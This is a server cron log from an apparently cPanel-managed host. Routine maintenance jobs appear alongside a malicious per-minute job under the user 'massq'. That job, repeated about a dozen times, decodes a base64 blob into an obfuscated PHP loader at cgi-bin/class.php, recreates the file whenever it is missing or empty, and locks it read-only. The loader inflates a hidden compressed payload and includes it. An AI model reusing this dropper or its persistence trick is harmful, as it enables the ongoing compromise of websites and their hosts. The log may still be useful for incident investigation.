Sep  3 22:05:01 server CROND[22943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:05:01 server CROND[22951]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 22:05:01 server CROND[22950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:05:01 server CROND[22948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:05:01 server CROND[22947]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:05:01 server CROND[22944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:06:01 server CROND[23800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:06:01 server CROND[23801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:06:01 server CROND[23802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:07:01 server CROND[24176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:07:01 server CROND[24178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:07:01 server CROND[24179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:08:01 server CROND[24636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:08:01 server CROND[24637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:08:01 server CROND[24638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:09:01 server CROND[25064]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 22:09:01 server CROND[25065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:09:01 server CROND[25067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:09:01 server CROND[25066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:10:01 server CROND[25462]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 22:10:01 server CROND[25464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:10:01 server CROND[25471]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:10:01 server CROND[25473]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:10:01 server CROND[25475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:10:01 server CROND[25483]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:10:01 server CROND[25479]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:10:01 server CROND[25480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:11:01 server CROND[26282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:11:01 server CROND[26283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:11:01 server CROND[26284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:12:01 server CROND[26657]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 22:12:01 server CROND[26658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:12:01 server CROND[26659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:12:01 server CROND[26660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:13:01 server CROND[27129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:13:01 server CROND[27130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:13:01 server CROND[27131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:14:01 server CROND[27509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:14:01 server CROND[27510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:14:01 server CROND[27511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:15:01 server CROND[27920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:15:01 server CROND[27922]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 22:15:01 server CROND[27924]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:15:01 server CROND[27925]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 22:15:01 server CROND[27929]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:15:01 server CROND[27931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:15:01 server CROND[27932]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 22:15:01 server CROND[27926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:15:01 server CROND[27933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:16:01 server CROND[28805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:16:01 server CROND[28806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
